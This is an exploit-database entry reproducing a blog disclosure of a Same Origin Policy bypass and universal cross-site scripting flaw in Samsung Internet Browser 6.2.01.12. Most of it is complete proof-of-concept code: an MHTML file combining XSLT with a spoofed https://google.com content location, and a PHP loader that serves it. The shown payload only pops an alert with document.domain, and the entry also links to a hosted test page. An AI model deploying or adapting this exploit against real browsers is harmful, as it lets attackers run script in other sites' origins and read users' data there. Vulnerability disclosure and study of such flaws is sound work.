Samsung Internet Browser 6.2.01.12 SOP Bypass / UXSS Vulnerabilities



EKU-ID: 7198 CVE: OSVDB-ID:
Author: James Lee Published: 2018-01-04 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


From: https://poctestblog.blogspot.co.uk/2017/12/samsung-internet-browser-sop-bypassuxss.html
  
  
  
Samsung Internet Browser SOP Bypass/UXSS
  
There is a Same Origin Policy bypass / Universal Cross Site Scripting issue in Samsung Internet Browser (tested on latest version -  6.2.01.12).
  
First of all, using the combination of MHTML and XSLT ends up resulting in a weird interaction. When you create an empty Iframe via MHTML and give a normal header and combine MHTML with XSLT, the browser renders them and confuse as its origin is from a pre-instantiated empty iframe.  I hosted a quick Proof-Of-Concept page to test this vulnerability, please have a test on latest Samsung Internet browser (version - 6.2.01.12).
  
http://prooftestdomain.hol.es/test/test.php
  
I attached a POC image below to show that Samsung Internet Browser says its origin is https://google.com and document.domain returns https://google.com while in reality we are in my test host domain.
  
Following is Proof Of Concept code, you need to upload .mht and .php file. When you visit .php file the exploit runs successfully and bypasses Same Origin Policy to achieve UXSS.
  
test.mht file content:
  
MIME-Version: 1.0
Content-Type: multipart/related;
 type="text/html";
 boundary="----MultipartBoundary--"
  
------MultipartBoundary--
Content-Type: application/xml;
  
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>
  
------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com
  
<script>alert('lol \n\n' + 'document.domain: \n' + document.domain)</script>
------MultipartBoundary----
  
  
  
  
  
test.php file content:
  
<?php
$filename=realpath("test.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>